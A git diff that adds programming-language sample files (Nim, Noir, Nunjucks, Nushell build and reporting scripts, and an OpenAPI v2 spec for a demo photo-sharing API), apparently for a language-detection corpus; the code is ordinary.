+  let supp = getAppDir() / "tools" / "nimgrind.supp"
+  exec("valgrind --suppressions=" & supp & valcmd)
+
+proc showHelp() =
+  quit(HelpText % [VersionAsString & spaces(44-len(VersionAsString)),
+                   CompileDate, CompileTime], QuitSuccess)
+
+when isMainModule:
+  var op = initOptParser()
+  var latest = false
+  var stable = false
+  while true:
+    op.next()
+    case op.kind
+    of cmdLongOption, cmdShortOption:
+      case normalize(op.key)
+      of "latest": latest = true
+      of "stable": stable = true
+      else: showHelp()
+    of cmdArgument:
+      case normalize(op.key)
+      of "boot": boot(op.cmdLineRest)
+      of "clean": clean(op.cmdLineRest)
+      of "doc", "docs": buildDocs(op.cmdLineRest)
+      of "doc0", "docs0":
+        # undocumented command for Araq-the-merciful:
+        buildDocs(op.cmdLineRest & gaCode)
+      of "pdf": buildPdfDoc(op.cmdLineRest, "doc/pdf")
+      of "csource", "csources": csource(op.cmdLineRest)
+      of "zip": zip(latest, op.cmdLineRest)
+      of "xz": xz(latest, op.cmdLineRest)
+      of "nsis": nsis(latest, op.cmdLineRest)
+      of "geninstall": geninstall(op.cmdLineRest)
+      of "distrohelper": geninstall()
+      of "install": install(op.cmdLineRest)
+      of "testinstall": testUnixInstall(op.cmdLineRest)
+      of "test", "tests": tests(op.cmdLineRest)
+      of "temp": temp(op.cmdLineRest)
+      of "xtemp": xtemp(op.cmdLineRest)
+      of "wintools": bundleWinTools()
+      of "nimble":
+        if stable: buildNimble(false)
+        else: buildNimble(existsDir(".git") or latest)
+      of "nimsuggest": bundleNimsuggest(buildExe=true)
+      of "tools":
+        if stable: buildTools(false)
+        else: buildTools(existsDir(".git") or latest)
+      of "pushcsource", "pushcsources": pushCsources()
+      of "valgrind": valgrind(op.cmdLineRest)
+      else: showHelp()
+      break
+    of cmdEnd: break
diff --git a/samples/Nim/main.nim b/samples/Nim/main.nim
new file mode 100644
index 0000000000..40928fe67e
--- /dev/null
+++ b/samples/Nim/main.nim
@@ -0,0 +1,84 @@
+iterator fn1: int = yield 12
+template fn2 = discard
+macro fn3 = discard
+proc fn4 = discard
+proc fn5(a, b: int, c: float, d, e: string; f: char) = discard
+
+template fn6 =
+  block: ## number literals
+    echo (1'u8, 0b1010, 0xdeadBEEF'big, -123'32, 12_345.002e-12'f128)
+    let a = 0xdeadBEEF'wrap
+    let b = -123'wrap
+
+  block: ## char literals
+    let c = '\1'
+    let c = '\e'
+    let c = '\n'
+    let c = '\x12'
+
+  block: ## string literals
+    let a = ""
+    let b = "ab\ndef"
+    let c = r"a\ndef"
+    let g = """
+a\ndef"""
+    let h = """a\ndef"""
+    let i = """a\ndef""".dedent # BUG: syntax highlight wrong
+    let j = """a\ndef"""&"asdf" # BUG: syntax highlight wrong
+    let k = """a\ndef""" & "asdf" # ok
+
+  block:
+    ## tuples
+    let a = (-123'wrap, 12'f33, )
+    let b = ()
+    let c = (1,)
+    let d = (1)
+
+  block:
+    let a = @[1]
+    let b = [1,2]
+
+proc `'fn6b`(a: string): int = discard
+proc `cast`(a: string): int = discard
+proc fn6c[T; T2](a: T): T = discard
+proc fn6d[T, T2](a: T): T = discard
+proc fn6e[T](a: T): T = discard
+
+runnableExamples: discard
+
+runnableExamples("-r:off"): discard
+
+proc fn7 =
+  runnableExamples("-r:off -d:danger"):
+    assert 1 + 1 == 2
+
+proc fn8 =
+  runnableExamples("-r:off -d:danger"):
+    assert 1 + 1 == 2
+
+proc fn9 =
+  ##[
+  hello world `foo.bar`
+  * b1
+  * b2
+  * b3
+  ]##
+  runnableExamples("-r:off -d:danger"):
+    assert 1 + 1 == 2
+
+type F10 = enum a1, a2
+type F11 = ref object of RootRef
+  x1, x2: int
+  x3: tuple[a: int]
+  x4: (int, float, float32, float64)
+
+type
+  F12 = int
+  F13 = ref F12
+
+const a = 1
+const
+  b = 2
+  c = b
+let d = "ad"
+var e = "ad"
diff --git a/samples/Nim/nimfix.nim.cfg b/samples/Nim/nimfix.nim.cfg
new file mode 100644
index 0000000000..5d1f3befcf
--- /dev/null
+++ b/samples/Nim/nimfix.nim.cfg
@@ -0,0 +1,19 @@
+# from: https://github.com/nim-lang/Nim/blob/27b081d1f77604ee47c886e69dbc52f53ea3741f/compiler/nimfix/nimfix.nim.cfg
+
+# Special configuration file for the Nim project
+# gc:markAndSweep
+
+hint[XDeclaredButNotUsed]:off
+path:"$projectPath/.."
+
+path:"$lib/packages/docutils"
+path:"$nim"
+
+define:useStdoutAsStdmsg
+symbol:nimfix
+define:nimfix
+
+cs:partial
+#define:useNodeIds
+define:booting
+define:noDocgen
diff --git a/samples/Nim/zip.nimble b/samples/Nim/zip.nimble
new file mode 100644
index 0000000000..de43c7e93f
--- /dev/null
+++ b/samples/Nim/zip.nimble
@@ -0,0 +1,20 @@
+# from https://github.com/nim-lang/Nim/blob/devel/tests/deps/zip-0.2.1/zip.nimble
+
+# Package
+
+version       = "0.2.1"
+author        = "Anonymous"
+description   = "Wrapper for the zip library"
+license       = "MIT"
+
+skipDirs = @["tests"]
+
+# Dependencies
+
+requires "nim >= 0.10.0"
+
+task tests, "Run lib tests":
+  withDir "tests":
+    exec "nim c -r ziptests"
+    exec "nim c -r zlibtests"
+    exec "nim c -r gziptests"
diff --git a/samples/Nimrod/foo.nim b/samples/Nimrod/foo.nim
deleted file mode 100644
index 58b7f62819..0000000000
--- a/samples/Nimrod/foo.nim
+++ /dev/null
@@ -1,3 +0,0 @@
-# Hello world program
-
-echo "Hello world!"
diff --git a/samples/Noir/array.nr b/samples/Noir/array.nr
new file mode 100644
index 0000000000..e760b8e930
--- /dev/null
+++ b/samples/Noir/array.nr
@@ -0,0 +1,74 @@
+
+impl<T, N> [T; N] {
+    #[builtin(array_len)]
+    fn len(_array: Self) -> comptime Field {}
+
+    #[builtin(arraysort)]
+    fn sort(_array: Self) -> Self {}
+
+    // Sort with a custom sorting function.
+    fn sort_via(mut a: Self, ordering: fn(T, T) -> bool) -> Self { 
+        for i in 1 .. a.len() {
+            for j in 0..i {
+                if ordering(a[i], a[j]) {
+                    let old_a_j = a[j];
+                    a[j] = a[i];
+                    a[i] = old_a_j;
+                }
+            }
+        }
+        a
+    }
+
+    // Apply a function to each element of an array, returning a new array
+    // containing the mapped elements.
+    fn map<U>(self, f: fn(T) -> U) -> [U; N] {
+        let first_elem = f(self[0]);
+        let mut ret = [first_elem; N];
+
+        for i in 1 .. self.len() {
+            ret[i] = f(self[i]);
+        }
+
+        ret
+    }
+
+    // Apply a function to each element of the array and an accumulator value,
+    // returning the final accumulated value. This function is also sometimes
+    // called `foldl`, `fold_left`, `reduce`, or `inject`.
+    fn fold<U>(self, mut accumulator: U, f: fn(U, T) -> U) -> U {
+        for elem in self {
+            accumulator = f(accumulator, elem);
+        }
+        accumulator
+    }
+
+    // Apply a function to each element of the array and an accumulator value,
+    // returning the final accumulated value. Unlike fold, reduce uses the first
+    // element of the given array as its starting accumulator value.
+    fn reduce(self, f: fn(T, T) -> T) -> T {
+        let mut accumulator = self[0];
+        for i in 1 .. self.len() {
+            accumulator = f(accumulator, self[i]);
+        }
+        accumulator
+    }
+
+    // Returns true if all elements in the array satisfy the predicate
+    fn all(self, predicate: fn(T) -> bool) -> bool {
+        let mut ret = true;
+        for elem in self {
+            ret &= predicate(elem);
+        }
+        ret
+    }
+
+    // Returns true if any element in the array satisfies the predicate
+    fn any(self, predicate: fn(T) -> bool) -> bool {
+        let mut ret = false;
+        for elem in self {
+            ret |= predicate(elem);
+        }
+        ret
+    }
+}
\ No newline at end of file
diff --git a/samples/Noir/ecrecover_lib.nr b/samples/Noir/ecrecover_lib.nr
new file mode 100644
index 0000000000..19c95d4e8a
--- /dev/null
+++ b/samples/Noir/ecrecover_lib.nr
@@ -0,0 +1,28 @@
+use dep::std;
+ 
+mod secp256k1;
+
+fn ecrecover(
+    pub_key_x: [u8; 32],
+    pub_key_y: [u8; 32],
+    signature: [u8; 64], // clip v value
+    hashed_message: [u8; 32]
+) -> pub Field {
+    let key = secp256k1::PubKey::from_xy(pub_key_x, pub_key_y);
+
+    assert(key.verify_sig(signature, hashed_message) == true);
+    let addr = key.to_eth_address();
+
+    addr
+}
+
+#[test]
+fn test_ecrecover() {
+    let pub_key_x = [131, 24, 83, 91, 84, 16, 93, 74, 122, 174, 96, 192, 143, 196, 95, 150, 135, 24, 27, 79, 223, 198, 37, 189, 26, 117, 63, 167, 57, 127, 237, 117];
+    let pub_key_y = [53, 71, 241, 28, 168, 105, 102, 70, 242, 243, 172, 176, 142, 49, 1, 106, 250, 194, 62, 99, 12, 93, 17, 245, 159, 97, 254, 245, 123, 13, 42, 165];
+    let signature = [57, 17, 112, 239, 241, 30, 64, 157, 170, 50, 85, 145, 156, 69, 226, 85, 147, 164, 10, 82, 71, 93, 42, 132, 200, 220, 161, 255, 95, 241, 211, 141, 81, 7, 150, 25, 25, 27, 162, 213, 80, 61, 12, 170, 50, 4, 154, 203, 252, 229, 119, 29, 202, 153, 50, 25, 126, 145, 245, 23, 136, 75, 29, 177];
+    let hashed_message = [13, 82, 120, 60, 76, 186, 215, 235, 175, 126, 185, 67, 252, 100, 143, 82, 130, 165, 32, 112, 68, 47, 193, 141, 141, 209, 109, 219, 47, 203, 175, 102];
+
+    let addr = ecrecover(pub_key_x, pub_key_y, signature, hashed_message);
+    assert(addr == 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266);
+}
\ No newline at end of file
diff --git a/samples/Noir/voting.nr b/samples/Noir/voting.nr
new file mode 100644
index 0000000000..575ec4ab70
--- /dev/null
+++ b/samples/Noir/voting.nr
@@ -0,0 +1,12 @@
+use dep::std;
+
+fn main(root : pub Field, index : Field, hash_path : [Field; 2], secret: Field, priv_key: Field, proposalId: pub Field, vote: pub u8) -> pub Field {
+    let note_commitment = std::hash::pedersen([priv_key, secret]);
+    let nullifier = std::hash::pedersen([root, priv_key, proposalId]);
+
+    let is_member = std::merkle::check_membership(root, note_commitment[0], index, hash_path);
+    assert(is_member == 1);
+    assert(vote <= 1);
+
+    nullifier[0]
+}
\ No newline at end of file
diff --git a/samples/Nunjucks/norris.njk b/samples/Nunjucks/norris.njk
new file mode 100644
index 0000000000..3370de57ab
--- /dev/null
+++ b/samples/Nunjucks/norris.njk
@@ -0,0 +1,48 @@
+{% from "forms.html" import label as description %}
+
+
+{% macro field(name, value='', type='text') %}
+    <div class="field">
+        <input type="{{ type }}" name="{{ name }}"
+                value="{{ value | escape }}" />
+    </div>
+{% endmacro %}
+
+<html>
+<head>
+    {% extends "head.html" %}
+</head>
+<body>
+{% if horse %}
+    Chuck Norris once kicked a horse in the chin. Its descendants are known today as Giraffes.
+{% elif optimus %}
+    Chuck Norris once urinated in a semi truck's gas tank as a joke....that truck is now known as Optimus Prime.
+{% else %}
+    Chuck Norris threw a grenade and killed 50 people, then the grenade exploded.
+{% endif %}
+
+{% block left %}
+    This is the left side!
+{% endblock %}
+
+{% block right %}
+    This is the right side!
+{% endblock %}
+
+{{ description('Username') }}
+{{ field('user') }}
+{{ field('pass', type='password') }}
+
+<h1>Posts</h1>
+<ul>
+    {% for item in items %}
+        <li>{{ item.title }}</li>
+    {% else %}
+        <li>This would display if the 'item' collection were empty</li>
+    {% endfor %}
+</ul>
+
+{# Don't escape foo #}
+{{ foo | safe }}
+</body>
+</html>
diff --git a/samples/Nushell/release-pkg.nu b/samples/Nushell/release-pkg.nu
new file mode 100755
index 0000000000..08da4b99a5
--- /dev/null
+++ b/samples/Nushell/release-pkg.nu
@@ -0,0 +1,179 @@
+#!/usr/bin/env nu
+
+# Created: 2022/05/26 19:05:20
+# Description:
+#   A script to do the github release task, need nushell to be installed.
+
+# The main binary file to be released
+let bin = 'nu'
+let os = $env.OS
+let target = $env.TARGET
+# Repo source dir like `/home/runner/work/nushell/nushell`
+let src = $env.GITHUB_WORKSPACE
+let flags = $env.TARGET_RUSTFLAGS
+let dist = $'($env.GITHUB_WORKSPACE)/output'
+let version = (open Cargo.toml | get package.version)
+
+print $'Debugging info:'
+print { version: $version, bin: $bin, os: $os, target: $target, src: $src, flags: $flags, dist: $dist }; hr-line -b
+
+# $env
+
+let USE_UBUNTU = 'ubuntu-20.04'
+
+print $'(char nl)Packaging ($bin) v($version) for ($target) in ($src)...'; hr-line -b
+if not ('Cargo.lock' | path exists) { cargo generate-lockfile }
+
+print $'Start building ($bin)...'; hr-line
+
+# ----------------------------------------------------------------------------
+# Build for Ubuntu and macOS
+# ----------------------------------------------------------------------------
+if $os in [$USE_UBUNTU, 'macos-latest'] {
+    if $os == $USE_UBUNTU {
+        sudo apt update
+        sudo apt-get install libxcb-composite0-dev -y
+    }
+    match $target {
+        'aarch64-unknown-linux-gnu' => {
+            sudo apt-get install gcc-aarch64-linux-gnu -y
+            let-env CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER = 'aarch64-linux-gnu-gcc'
+            cargo-build-nu $flags
+        }
+        'riscv64gc-unknown-linux-gnu' => {
+            sudo apt-get install gcc-riscv64-linux-gnu -y
+            let-env CARGO_TARGET_RISCV64GC_UNKNOWN_LINUX_GNU_LINKER = 'riscv64-linux-gnu-gcc'
+            cargo-build-nu $flags
+        }
+        'armv7-unknown-linux-gnueabihf' => {
+            sudo apt-get install pkg-config gcc-arm-linux-gnueabihf -y
+            let-env CARGO_TARGET_ARMV7_UNKNOWN_LINUX_GNUEABIHF_LINKER = 'arm-linux-gnueabihf-gcc'
+            cargo-build-nu $flags
+        }
+        _ => {
+            # musl-tools to fix 'Failed to find tool. Is `musl-gcc` installed?'
+            # Actually just for x86_64-unknown-linux-musl target
+            if $os == $USE_UBUNTU { sudo apt install musl-tools -y }
+            cargo-build-nu $flags
+        }
+    }
+}
+
+# ----------------------------------------------------------------------------
+# Build for Windows without static-link-openssl feature
+# ----------------------------------------------------------------------------
+if $os in ['windows-latest'] {
+    if ($flags | str trim | is-empty) {
+        cargo build --release --all --target $target
+    } else {
+        cargo build --release --all --target $target $flags
+    }
+}
+
+# ----------------------------------------------------------------------------
+# Prepare for the release archive
+# ----------------------------------------------------------------------------
+let suffix = if $os == 'windows-latest' { '.exe' }
+# nu, nu_plugin_* were all included
+let executable = $'target/($target)/release/($bin)*($suffix)'
+print $'Current executable file: ($executable)'
+
+cd $src; mkdir $dist;
+rm -rf $'target/($target)/release/*.d' $'target/($target)/release/nu_pretty_hex*'
+print $'(char nl)All executable files:'; hr-line
+# We have to use `print` here to make sure the command output is displayed
+print (ls -f $executable); sleep 1sec
+
+print $'(char nl)Copying release files...'; hr-line
+cp -v README.release.txt $'($dist)/README.txt'
+[LICENSE $executable] | each {|it| cp -rv $it $dist } | flatten
+# Sleep a few seconds to make sure the cp process finished successfully
+sleep 3sec
+
+print $'(char nl)Check binary release version detail:'; hr-line
+let ver = if $os == 'windows-latest' {
+    (do -i { ./output/nu.exe -c 'version' }) | str join
+} else {
+    (do -i { ./output/nu -c 'version' }) | str join
+}
+if ($ver | str trim | is-empty) {
+    print $'(ansi r)Incompatible nu binary...(ansi reset)'
+} else { print $ver }
+
+# ----------------------------------------------------------------------------
+# Create a release archive and send it to output for the following steps
+# ----------------------------------------------------------------------------
+cd $dist; print $'(char nl)Creating release archive...'; hr-line
+if $os in [$USE_UBUNTU, 'macos-latest'] {
+
+    let files = (ls | get name)
+    let dest = $'($bin)-($version)-($target)'
+    let archive = $'($dist)/($dest).tar.gz'
+
+    mkdir $dest
+    $files | each {|it| mv $it $dest } | ignore
+
+    print $'(char nl)(ansi g)Archive contents:(ansi reset)'; hr-line; ls $dest
+
+    tar -czf $archive $dest
+    print $'archive: ---> ($archive)'; ls $archive
+    # REF: https://github.blog/changelog/2022-10-11-github-actions-deprecating-save-state-and-set-output-commands/
+    echo $"archive=($archive)" | save --append $env.GITHUB_OUTPUT
+
+} else if $os == 'windows-latest' {
+
+    let releaseStem = $'($bin)-($version)-($target)'
+
+    print $'(char nl)Download less related stuffs...'; hr-line
+    aria2c https://github.com/jftuga/less-Windows/releases/download/less-v608/less.exe -o less.exe
+    aria2c https://raw.githubusercontent.com/jftuga/less-Windows/master/LICENSE -o LICENSE-for-less.txt
+
+    # Create Windows msi release package
+    if (get-env _EXTRA_) == 'msi' {
+
+        let wixRelease = $'($src)/target/wix/($releaseStem).msi'
+        print $'(char nl)Start creating Windows msi package...'
+        cd $src; hr-line
+        # Wix need the binaries be stored in target/release/
+        cp -r $'($dist)/*' target/release/
+        cargo install cargo-wix --version 0.3.4
+        cargo wix --no-build --nocapture --package nu --output $wixRelease
+        print $'archive: ---> ($wixRelease)';
+        echo $"archive=($wixRelease)" | save --append $env.GITHUB_OUTPUT
+
+    } else {
+
+        print $'(char nl)(ansi g)Archive contents:(ansi reset)'; hr-line; ls
+        let archive = $'($dist)/($releaseStem).zip'
+        7z a $archive *
+        print $'archive: ---> ($archive)';
+        let pkg = (ls -f $archive | get name)
+        if not ($pkg | is-empty) {
+            echo $"archive=($pkg | get 0)" | save --append $env.GITHUB_OUTPUT
+        }
+    }
+}
+
+def 'cargo-build-nu' [ options: string ] {
+    if ($options | str trim | is-empty) {
+        cargo build --release --all --target $target --features=static-link-openssl
+    } else {
+        cargo build --release --all --target $target --features=static-link-openssl $options
+    }
+}
+
+# Print a horizontal line marker
+def 'hr-line' [
+    --blank-line(-b): bool
+] {
+    print $'(ansi g)---------------------------------------------------------------------------->(ansi reset)'
+    if $blank_line { char nl }
+}
+
+# Get the specified env key's value or ''
+def 'get-env' [
+    key: string           # The key to get it's env value
+    default: string = ''  # The default value for an empty env
+] {
+    $env | get -i $key | default $default
+}
diff --git a/samples/Nushell/this_week_in_nu.nu b/samples/Nushell/this_week_in_nu.nu
new file mode 100644
index 0000000000..e4e74c0e26
--- /dev/null
+++ b/samples/Nushell/this_week_in_nu.nu
@@ -0,0 +1,63 @@
+# http get https://api.github.com/repos/nushell/nushell/pulls?q=is%3Apr+merged%3A%3E%3D2021-04-20+ | select html_url user.login title body
+# http get https://api.github.com/search/issues?q=repo:nushell/nushell+is:pr+is:merged+merged:%3E2021-05-08 | get items | select html_url user.login title body
+# Repos to monitor
+
+def query-week-span [] {
+    let site_table = [
+        [site repo];
+        [Nushell nushell]
+        [Extension vscode-nushell-lang]
+        [Documentation nushell.github.io]
+        [Wasm demo]
+        [Nu_Scripts nu_scripts]
+        [RFCs rfcs]
+        [reedline reedline]
+        [Nana nana]
+        # ] [Jupyter jupyter]
+    ]
+
+    let query_prefix = "https://api.github.com/search/issues?q=repo:nushell/"
+    let query_date = (seq date --days 7 -r | get 6)
+    let per_page = "100"
+    let page_num = "1" # need to implement iterating pages
+    let colon = "%3A"
+    let gt = "%3E"
+    let eq = "%3D"
+    let amp = "%26"
+    let query_suffix = $"+is($colon)pr+is($colon)merged+merged($colon)($gt)($eq)($query_date)&per_page=100&page=1"
+
+    for repo in $site_table {
+        let query_string = $"($query_prefix)($repo.repo)($query_suffix)"
+        let site_json = (http get -u $env.GITHUB_USERNAME -p $env.GITHUB_PASSWORD $query_string | get items | select html_url user.login title)
+
+        if not ($site_json | all { |it| $it | is-empty }) {
+            print $"(char nl)## ($repo.site)(char nl)"
+
+            for user in ($site_json | group-by user_login | transpose user prs) {
+                let user_name = $user.user
+                let pr_count = ($user.prs | length)
+
+                print -n $"- ($user_name) created "
+                for pr in ($user.prs | enumerate) {
+                    if $pr_count == ($pr.index + 1) {
+                        print -n $"[($pr.item.title)](char lparen)($pr.item.html_url)(char rparen)"
+                    } else {
+                        print -n $"[($pr.item.title)](char lparen)($pr.item.html_url)(char rparen), and "
+                    }
+                }
+
+                print ""
+            }
+        }
+    }
+}
+
+# 2019-08-23 was the release of 0.2.0, the first public release
+let week_num = ((seq date -b '2019-08-23' -n 7 | length) - 1)
+print $"# This week in Nushell #($week_num)(char nl)"
+
+if ($env | select GITHUB_USERNAME | is-empty) or ($env | select GITHUB_PASSWORD | is-empty) {
+    print 'Please set GITHUB_USERNAME and GITHUB_PASSWORD in $env to use this script'
+} else {
+    query-week-span
+}
diff --git a/samples/OASv2-json/pixi.json b/samples/OASv2-json/pixi.json
new file mode 100644
index 0000000000..02a0a73f81
--- /dev/null
+++ b/samples/OASv2-json/pixi.json
@@ -0,0 +1 @@
+{"swagger":"2.0","info":{"description":"Pixi Photo Sharing API","version":"1.0.0","title":"Pixi App API","contact":{"email":"nicole.becher@owasp.org"},"license":{"name":"Apache 2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"}},"tags":[{"name":"admins","description":"Secured Admin-only calls"},{"name":"users","description":"Operations available to regular, logged in users"},{"name":"anyone","description":"Operations available to anyone"}],"paths":{"/api/pictures":{"get":{"tags":["users"],"summary":"gets all pixi photos","parameters":[{"name":"token","in":"query","description":"JWT token","type":"string","required":true},{"in":"header","name":"x-access-token","description":"Users JWT token","required":true,"type":"string"}],"description":"This will return the entirety of photos available in Pixi\n","produces":["application/json"],"responses":{"200":{"description":"json all pixi photos","schema":{"type":"array","items":{"$ref":"#/definitions/PicturesItem"}}},"400":{"description":"bad input parameter"}}}},"/api/picture/{picture_id}":{"get":{"tags":["users"],"summary":"get information about a specific photo","parameters":[{"in":"header","name":"x-access-token","description":"Users JWT token","required":true,"type":"string"},{"in":"query","name":"token","description":"JWT token","type":"string","required":true},{"in":"path","name":"picture_id","description":"ID of picture","required":true,"type":"integer"}],"operationId":"useruploadedpictures","description":"user can get all photos they uploaded","produces":["application/json"],"responses":{"200":{"description":"successful authentication user photo json object","schema":{"type":"array","items":{"$ref":"#/definitions/PicturesItem"}}},"403":{"description":"invalid or missing token"}}}},"/api/picture/delete":{"delete":{"tags":["users"],"summary":"delete a specified picture","parameters":[{"in":"header","name":"x-access-token","type":"string","description":"Users JWT Token","required":true},{"in":"query","name":"picture_id","type":"number","description":"?picture_id=xxx"}],"operationId":"delete picture","description":"user can delete a photo","produces":["application/json"],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/picture/delete/{picture_id}":{"get":{"tags":["users"],"summary":"delete a specified picture","parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"},{"in":"query","name":"picture","type":"number","description":"ID of picture to be deleted"},{"in":"path","name":"picture_id","required":true,"type":"number","description":"ID of picture to be deleted"}],"description":"user can delete a photo","produces":["application/json"],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/picture/{picture_id}/likes":{"get":{"tags":["users"],"summary":"get a list of loves by user","parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"},{"in":"path","name":"picture_id","required":true,"type":"number","minimum":1,"description":"in URL string"}],"operationId":"userloves","description":"user can get a list of all their loves","produces":["application/json"],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/picture/{picture_id}/loves":{"get":{"tags":["users"],"summary":"get a list of loves by user","parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"},{"in":"path","name":"picture_id","required":true,"type":"number","description":"in URL string"}],"description":"user can get a list of all their loves","produces":["application/json"],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/pictures/love":{"get":{"tags":["users"],"summary":"send a love to a picture","description":"love a picture initiates a .05 micropayment to creator.","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"},{"in":"query","type":"number","name":"picture_id","description":"?picture_id=xxx"}],"responses":{"200":{"description":"successful authentication user photo json object"},"202":{"description":"missing picture_id parameter"},"403":{"description":"invalid or missing token"}}}},"/api/pictures/like":{"get":{"tags":["users"],"summary":"send a like to a picture","description":"you can only like a picture once if you like it again you will unlike it.","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"},{"in":"query","type":"number","name":"picture_id","description":"?picture_id=xxx"}],"responses":{"200":{"description":"successful authentication user photo json object"},"202":{"description":"missing picture_id parameter"},"403":{"description":"invalid or missing token"}}}},"/api/picture/upload":{"post":{"tags":["users"],"summary":"delete a specified picture","description":"user can get all photos they uploaded","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"},{"in":"body","name":"file","description":"pictures object","required":true,"schema":{"$ref":"#/definitions/PicturesItem"}}],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/login":{"post":{"tags":["anyone"],"summary":"login successfully and receive json web token.","parameters":[{"name":"user","in":"body","description":"userobject","required":true,"schema":{"$ref":"#/definitions/UsersItem"}}],"operationId":"authenticate","description":"user supplies user name and password and receives a json web token","produces":["application/json"],"responses":{"200":{"description":"successfully logged in, get JWT"},"202":{"description":"successfully request, but invalid password"},"422":{"description":"missing parameters"}}}},"/api/register":{"post":{"tags":["anyone"],"summary":"register for an account and receive token","operationId":"register","description":"user supplies email and password to register and receives a json web token.","produces":["application/json"],"parameters":[{"in":"body","name":"user","required":true,"schema":{"$ref":"#/definitions/UsersItem"}}],"responses":{"200":{"description":"successfully registered, token received"},"202":{"description":"email address already registered"}}}},"/api/search":{"get":{"tags":["users"],"summary":"search pixi photos","parameters":[{"in":"header","name":"x-access-token","description":"Users JWT token","required":true,"type":"string"}],"description":"This will search entirety of photos available in Pixi\n","produces":["application/json"],"responses":{"200":{"description":"pictures that match search","schema":{"type":"array","items":{"$ref":"#/definitions/PicturesItem"}}},"202":{"description":"missing search parameter"}}}},"/api/user/info":{"get":{"tags":["users"],"summary":"get user information","operationId":"userinfo","description":"user supplies valid token and receives all user info","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","description":"Users JWT Token","required":true,"type":"string"}],"responses":{"200":{"description":"successful authentication sent user information"},"403":{"description":"invalid or missing token"}}}},"/api/user/edit_info":{"put":{"tags":["users"],"summary":"edit user information","operationId":"edituserinfo","description":"user supplies valid token and receives all user info","produces":["application/json"],"parameters":[{"name":"user","in":"body","description":"userobject","required":true,"schema":{"$ref":"#/definitions/UsersItem"}}],"responses":{"200":{"description":"successful authentication sent user information"},"403":{"description":"invalid or missing token"}}}},"/api/user/pictures":{"get":{"tags":["users"],"summary":"get all photos uploaded by user","description":"user can get all photos they uploaded","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","type":"string","required":true}],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/user/likes":{"get":{"tags":["users"],"summary":"get a list of likes by user","operationId":"userlikes","description":"user can get a list of all their likes","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","type":"string","required":true}],"responses":{"200":{"description":"successful authentication user photo json object","schema":{"type":"array","items":{"$ref":"#/definitions/LikesItem"}}},"403":{"description":"invalid or missing token"}}}},"/api/user/loves":{"get":{"tags":["users"],"summary":"get a list of loves by user","description":"user can get a list of all their loves","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","type":"string","required":true}],"responses":{"200":{"description":"successful authentication user photo json object","schema":{"type":"array","items":{"$ref":"#/definitions/LovesItem"}}},"403":{"description":"invalid or missing token"}}}},"/api/admin/users/search":{"get":{"tags":["admins"],"summary":"get a list of loves by user","description":"user can get a list of all their loves","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","type":"string","required":true},{"in":"query","name":"search","type":"string","description":"search query ?search=xxx","required":true}],"responses":{"200":{"description":"successful authentication user photo json object","schema":{"type":"array","items":{"$ref":"#/definitions/UsersItem"}}},"403":{"description":"invalid or missing token"}}}},"/api/admin/loves/search":{"get":{"tags":["admins"],"summary":"get a list of all loves by user","description":"user can get a list of all their loves","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","type":"string","required":true},{"in":"query","name":"search","type":"string","description":"search query ?search=xxx","required":true}],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/admin/likes/search":{"get":{"tags":["admins"],"summary":"more money for users","description":"user can get a list of all their loves","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","required":true,"type":"string"},{"in":"query","name":"search","type":"string","description":"search query ?search=xxx","required":true}],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}},"/api/admin/money":{"post":{"tags":["admins"],"summary":"bonanza","description":"user can get a list of all their loves","produces":["application/json"],"parameters":[{"in":"header","name":"x-access-token","type":"string","required":true},{"in":"body","name":"user","description":"userobject","required":true,"schema":{"$ref":"#/definitions/UsersItem"}}],"responses":{"200":{"description":"successful authentication user photo json object"},"403":{"description":"invalid or missing token"}}}}},"definitions":{"UsersItem":{"type":"object","required":["user","pass"],"properties":{"id":{"type":"number","format":"number","example":1},"user":{"type":"string","format":"email","example":"email@email.com"},"pass":{"type":"string","format":"string","example":"p@ssword1"},"name":{"type":"string","example":"Johnny Appleseed"},"is_admin":{"description":"is admin","type":"boolean"},"account_balance":{"description":"remaning balance","type":"number"}}},"PicturesItem":{"type":"object","required":["filename"],"properties":{"filename":{"type":"object","format":"jpg","example":"file.jpg"},"name":{"type":"string","example":"Johnny Appleseed"},"email":{"type":"string","format":"email","example":"email"},"creator_id":{"$ref":"#/definitions/UsersItem"}}},"LikesItem":{"type":"object","required":["user_id","picture_id"],"properties":{"user_id":{"$ref":"#/definitions/UsersItem"},"picture_id":{"$ref":"#/definitions/PicturesItem"}}},"LovesItem":{"type":"object","required":["user_id","picture_id"],"properties":{"user_id":{"$ref":"#/definitions/UsersItem"},"picture_id":{"$ref":"#/definitions/PicturesItem"}}}},"host":"104.131.115.192:8090","basePath":"/","schemes":["http"]}
diff --git a/samples/OASv2-yaml/sample.yaml b/samples/OASv2-yaml/sample.yaml
new file mode 100644
index 0000000000..515abc4371
--- /dev/null
+++ b/samples/OASv2-yaml/sample.yaml
@@ -0,0 +1,78 @@
